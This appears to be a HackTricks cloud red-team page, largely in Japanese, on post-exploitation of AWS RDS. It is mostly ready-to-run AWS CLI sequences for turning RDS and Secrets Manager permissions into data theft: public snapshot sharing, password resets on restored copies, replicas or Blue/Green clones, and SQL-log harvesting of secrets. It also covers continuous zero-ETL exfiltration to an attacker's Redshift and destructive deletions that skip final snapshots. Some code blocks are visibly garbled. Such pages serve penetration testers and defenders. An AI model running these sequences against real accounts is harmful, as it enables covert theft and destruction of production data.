AWS - RDS Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

RDS

詳細は以下を確認してください:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、DB を公開アクセス可能にすることができます。

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:StopDBCluster & rds:StopDBInstance

rds:StopDBCluster または rds:StopDBInstance を持つ攻撃者は、RDS インスタンスまたはクラスタ全体を即時に停止させることができ、データベースの利用不可、接続の切断、およびデータベースに依存するプロセスの中断を引き起こします。

単一の DB インスタンスを停止する例:

aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>

DB cluster 全体を停止するには(例):

aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>

rds:Modify*

rds:Modify* が付与された攻撃者は、instance や cluster に直接触れることなく、parameter groups、option groups、proxy endpoints と endpoint-groups、target groups、subnet groups、capacity settings、snapshot/cluster attributes、certificates、integrations などの重要な設定や補助リソースを変更できます。接続/タイムアウトパラメータの調整、proxy endpoint の変更、信頼する certificates の変更、論理的な capacity の変更、subnet group の再構成といった変更は、セキュリティを弱体化させ(新たなアクセス経路を開く)、ルーティングやロードバランシングを破壊し、レプリケーション/バックアップポリシーを無効化し、全般的に可用性や復旧性を低下させる可能性があります。これらの変更はまた、間接的なデータ exfiltration を助長したり、インシデント後のデータベースの秩序ある復旧を妨げることがあります。

Move or change the subnets assigned to an RDS subnet group:

aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>

クラスタパラメータグループ内の低レベルなエンジンパラメータを変更する:

aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"

rds:Restore*

rds:Restore* の権限を持つ攻撃者は、スナップショット、自動バックアップ、point-in-time recovery (PITR)、または S3 に保存されたファイルからデータベース全体を復元し、選択した時点のデータで構成された新しいインスタンスやクラスターを作成できます。これらの操作は元のリソースを上書きするのではなく — 履歴データを含む新しいオブジェクトを作成するため — 攻撃者はデータベースの完全で機能するコピー(過去の時点から、または外部の S3 ファイルから)を入手し、exfiltrate data、履歴記録の改ざん、または以前の状態の再構築に利用できます。

DBインスタンスを特定の時点に復元する:

aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az

rds:Delete*

rds:Delete* が付与された攻撃者は RDS リソースを削除でき、DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts を削除して即時のサービス停止、データ喪失、復旧ポイントの破壊、およびフォレンジック証拠の喪失を引き起こす可能性があります。

# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot

# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot

# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>

# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

これらの権限を持つ攻撃者は、DBのsnapshotを作成し、それを公開 利用可能にすることができます。すると、自分のアカウントでそのsnapshotからDBを作成するだけです。

攻撃者が**rds:CreateDBSnapshot を持っていない場合でも、既に作成された他のsnapshotを公開**にすることは可能です。

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion 権限を持つ攻撃者は、RDS インスタンスのログファイルの一部をダウンロードすることができます。もし機密データやアクセス資格情報が誤ってログに記録されていた場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

潜在的な影響: leaked credentials を使用して機密情報にアクセスしたり、不正な操作を行うことができる。

rds:DeleteDBInstance

これらの権限を持つ攻撃者は DoS 既存の RDS インスタンス を実行することができる。

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

潜在的な影響: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。

rds:StartExportTask

Note

TODO: テスト

この権限を持つ攻撃者は RDS インスタンスのスナップショットを S3 バケットにエクスポートすることができます。攻撃者が宛先の S3 バケットを制御できる場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

潜在的な影響: エクスポートされたスナップショット内の機密データへのアクセス

ステルス復元のためのクロスリージョン自動バックアップ複製 (rds:StartDBInstanceAutomatedBackupsReplication)

クロスリージョンの自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンにこっそり複製し、そこで復元します。攻撃者は復元したDBをパブリックに公開し、マスターパスワードをリセットして、守備側が監視していないリージョンで別経路(out-of-band)からデータにアクセスすることができます。

Permissions needed (minimum):

  • rds:StartDBInstanceAutomatedBackupsReplication (宛先リージョンで)
  • rds:DescribeDBInstanceAutomatedBackups (宛先リージョンで)
  • rds:RestoreDBInstanceToPointInTime (宛先リージョンで)
  • rds:ModifyDBInstance (宛先リージョンで)
  • rds:StopDBInstanceAutomatedBackupsReplication (オプション:クリーンアップ)
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (復元したDBを公開するため)

Impact: 本番データのコピーを別リージョンに復元し、攻撃者管理の認証情報で公開することで、Persistence と data exfiltration が可能になる。

エンドツーエンド CLI(プレースホルダを置き換えてください) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region \ --query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \ --output table

2) Start cross-Region automated backups replication (run in DEST region B)

aws rds start-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
–source-region <SOURCE_REGION>
–backup-retention-period 7

3) Wait for replication to be ready in DEST

aws rds describe-db-instance-automated-backups
–region <DEST_REGION>
–query ‘DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]’
–output table

Proceed when Status is “replicating” or “active” and note the DBInstanceAutomatedBackupsArn

4) Restore to latest restorable time in DEST

aws rds restore-db-instance-to-point-in-time
–region <DEST_REGION>
–source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
–target-db-instance-identifier <TARGET_DB_ID>
–use-latest-restorable-time
–db-instance-class db.t3.micro aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5) Make public and reset credentials in DEST

5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)

OPEN_SG_ID=$(aws ec2 create-security-group –region <DEST_REGION>
–group-name open-rds- –description open –vpc-id <DEST_VPC_ID>
–query GroupId –output text) aws ec2 authorize-security-group-ingress –region <DEST_REGION>
–group-id “$OPEN_SG_ID”
–ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=‘[{CidrIp=0.0.0.0/0}]’

5b) Publicly expose restored DB and attach the SG

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–publicly-accessible
–vpc-security-group-ids “$OPEN_SG_ID”
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

5c) Reset the master password

aws rds modify-db-instance –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–master-user-password ‘<NEW_STRONG_PASSWORD>’
–apply-immediately aws rds wait db-instance-available –region <DEST_REGION> –db-instance-identifier <TARGET_DB_ID>

6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)

ENDPOINT=$(aws rds describe-db-instances –region <DEST_REGION>
–db-instance-identifier <TARGET_DB_ID>
–query ‘DBInstances[0].Endpoint.Address’ –output text) mysql -h “$ENDPOINT” -u <MASTER_USERNAME> -p’<NEW_STRONG_PASSWORD>’ -e ‘SHOW DATABASES;’

7) Optional: stop replication

aws rds stop-db-instance-automated-backups-replication
–region <DEST_REGION>
–source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>

</details>


### DBパラメータグループを使って完全なSQLログを有効化し、RDSのログAPI経由で外部持ち出しする

`rds:ModifyDBParameterGroup` をRDSのログダウンロードAPIと組み合わせて悪用することで、アプリケーションで実行されたすべてのSQL文を取得できます(DBエンジンの認証情報は不要)。エンジンのSQLロギングを有効にし、`rds:DescribeDBLogFiles` と `rds:DownloadDBLogFilePortion`(またはRESTの `downloadCompleteLogFile`)でログファイルを取得します。秘密情報、PII、JWTを含む可能性のあるクエリの収集に有用です。

Permissions needed (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)

Steps
1) 標的と現在のパラメータグループの確認
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
  1. カスタムDBパラメータグループがアタッチされていることを確認する(デフォルトは編集できない)
  • インスタンスが既にカスタムグループを使用している場合、次のステップでその名前を再利用する。
  • そうでなければ、エンジンファミリーに一致するものを作成してアタッチする:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"

aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
  1. 詳細な SQL ログを有効化
  • MySQL エンジン(即時 / 再起動不要):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
#   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
#   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
  • PostgreSQL engines (再起動が必要):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
#   "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"

# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
  1. ワークロードを実行させる(またはクエリを生成する)。ステートメントはエンジンのファイルログに書き込まれます
  • MySQL: general/mysql-general.log
  • PostgreSQL: postgresql.log
  1. ログを発見してダウンロードする(DBの認証情報は不要)
aws rds describe-db-log-files --db-instance-identifier <DB>

# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
  1. オフラインで機密データを解析する
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head

例の証拠(編集済み):

2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')

クリーンアップ

  • パラメータをデフォルトに戻し、必要に応じて再起動する:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"

# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot

影響: Post-exploitation data access by capturing all application SQL statements via AWS APIs (no DB creds), potentially leaking secrets, JWTs, and PII.

rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance

プライマリインスタンスの認証情報に触れずに、RDSのread replicaを悪用してアウト・オブ・バンドの読み取りアクセスを取得できます。攻撃者は本番インスタンスからread replicaを作成し、レプリカのmaster passwordをリセット(これはプライマリを変更しません)し、必要に応じてレプリカを公開してデータをexfiltrateすることが可能です。

必要な権限(最小):

  • rds:DescribeDBInstances
  • rds:CreateDBInstanceReadReplica
  • rds:ModifyDBInstance
  • ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress (公開する場合)

影響: 攻撃者が制御する資格情報を持つレプリカ経由で本番データへの読み取り専用アクセスを得られる。プライマリが触られずレプリケーションが継続するため、検出される可能性が低くなります。

# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table

# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'

# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>

# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client:  mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'

# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>

証拠の例 (MySQL):

  • レプリカ DB ステータス: available、読み取りレプリケーション: replicating
  • 新しいパスワードでの接続に成功し、@@read_only=1 によって読み取り専用レプリカアクセスが確認された。

rds:CreateBlueGreenDeployment, rds:ModifyDBInstance

RDS Blue/Green を悪用して、本番 DB を継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green のマスター資格情報をリセットして、blue (prod) インスタンスに触れずにデータへアクセスします。これは snapshot sharing よりもステルス性が高く、ソースのみを監視している監視体制を回避することが多いです。

# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'

# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version

# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>

# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'

# Typical green id: <blue>-green-XXXX

# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately

# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately

# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text

# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'

# 5) Cleanup – remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true

影響: 本番インスタンスを変更せずに、ほぼリアルタイムの本番クローンに対して読み取り専用ながら完全なデータアクセスを得られます。ステルスなデータ抽出やオフライン分析に有用です。

Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password

Aurora を悪用してターゲットクラスターで RDS Data API HTTP endpoint を有効化し、マスターパスワードを自分で制御する値にリセットして、HTTPS 経由で SQL を実行します(VPC ネットワーク経路は不要)。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作します(例: Aurora MySQL 8.0 provisioned;一部の Aurora PostgreSQL/MySQL バージョン)。

権限(最小):

  • rds:DescribeDBClusters, rds:ModifyDBCluster(または rds:EnableHttpEndpoint)
  • secretsmanager:CreateSecret
  • rds-data:ExecuteStatement(使用する場合は rds-data:BatchExecuteStatement も)

影響: ネットワーク区分を回避し、DB へ直接的な VPC 接続がなくても AWS API 経由でデータを持ち出せます。

エンドツーエンド CLI (Aurora MySQL example) ```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID= CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ --db-cluster-identifier $CLUSTER_ID \ --query 'DBClusters[0].DBClusterArn' --output text)

2) Enable Data API HTTP endpoint on the cluster

Either of the following (depending on API/engine support):

aws rds enable-http-endpoint –region $REGION –resource-arn “$CLUSTER_ARN”

or

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–enable-http-endpoint –apply-immediately

Wait until HttpEndpointEnabled is True

aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].HttpEndpointEnabled’ –output text

3) Reset master password to attacker-controlled value

aws rds modify-db-cluster –region $REGION –db-cluster-identifier $CLUSTER_ID
–master-user-password ‘Sup3rStr0ng!1’ –apply-immediately

Wait until pending password change is applied

while :; do aws rds wait db-cluster-available –region $REGION –db-cluster-identifier $CLUSTER_ID P=$(aws rds describe-db-clusters –region $REGION –db-cluster-identifier $CLUSTER_ID
–query ‘DBClusters[0].PendingModifiedValues.MasterUserPassword’ –output text) [[ “$P” == “None” || “$P” == “null” ]] && break sleep 10 done

4) Create a Secrets Manager secret for Data API auth

SECRET_ARN=$(aws secretsmanager create-secret –region $REGION –name rdsdata/demo-$CLUSTER_ID
–secret-string ‘{“username”:“admin”,“password”:“Sup3rStr0ng!1”}’
–query ARN –output text)

5) Prove out-of-band SQL via HTTPS using rds-data

(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)

aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database mysql –sql “create database if not exists demo;” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “create table if not exists pii(note text);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “insert into pii(note) values (‘token=SECRET_JWT’);” aws rds-data execute-statement –region $REGION –resource-arn “$CLUSTER_ARN”
–secret-arn “$SECRET_ARN” –database demo –sql “select current_user(), now(), (select count(*) from pii) as row_count;”
–format-records-as JSON

</details>

注記:
- rds-data によって複数文の SQL が拒否される場合は、個別に execute-statement を呼び出してください。
- modify-db-cluster --enable-http-endpoint に効果がないエンジンの場合は、rds enable-http-endpoint --resource-arn を使用してください。
- 実際に Data API をサポートしているエンジン/バージョンであることを確認してください。そうでないと HttpEndpointEnabled は False のままになります。


### RDS Proxy の認証シークレットから DB 資格情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)

RDS Proxy の設定を悪用して、バックエンド認証に使用される Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤ったスコープの KMS 権限により `kms:Decrypt` も可能になることがあります。

必要な権限(最小):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key

影響: プロキシに設定された DB のユーザー名/パスワードが即座に露出し、直接の DB アクセスやさらなる横移動が可能になります。

手順
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table

# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}

ラボ(再現に必要な最小限)

REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above

クリーンアップ(ラボ)

aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery

ステルスな継続的 exfiltration via Aurora PostgreSQL zero‑ETL を介して Amazon Redshift へ (rds:CreateIntegration)

Aurora PostgreSQL zero‑ETL integration を悪用して、本番データをあなたが管理する Amazon Redshift Serverless namespace に継続的に複製します。許容的な Amazon Redshift リソースポリシーが特定の Aurora クラスター ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可している場合、攻撃者は DB creds、snapshots、またはネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。

必要な権限(最小):

  • rds:CreateIntegration, rds:DescribeIntegrations, rds:DeleteIntegration
  • redshift:PutResourcePolicy, redshift:DescribeInboundIntegrations, redshift:DescribeIntegrations
  • redshift-data:ExecuteStatement/GetStatementResult/ListDatabases (to query)
  • rds-data:ExecuteStatement (optional; to seed data if needed)

テスト済み: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.

1) Redshift Serverless namespace と workgroup を作成 ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```
2) Redshiftのリソースポリシーを設定してAuroraソースを許可する ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= cat > rs-rp.json <
3) Aurora PostgreSQL クラスターを作成する(Data API と論理レプリケーションを有効にする) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zero‑ETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```
4) RDS から zero‑ETL 統合を作成する ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```
5) Redshiftの複製データをマテリアライズしてクエリする ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration '' database postgres" # List tables replicated aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \ --sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;" ```

テストで観察された証拠:

  • redshift describe-inbound-integrations: Integration arn:…377a462b-… の Status は ACTIVE
  • SVV_INTEGRATION は DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を示していた。
  • CREATE DATABASE FROM INTEGRATION 実行後、テーブル一覧で schema ztl と table customers が確認され、ztl.customers を SELECT すると 2 行 (Alice, Bob) が返った。

影響: 攻撃者が制御する Redshift Serverless への、選択した Aurora PostgreSQL テーブルの継続的かつほぼリアルタイムな exfiltration が可能になり、データベース認証情報、バックアップ、またはソースクラスターへのネットワークアクセスを使用しない。

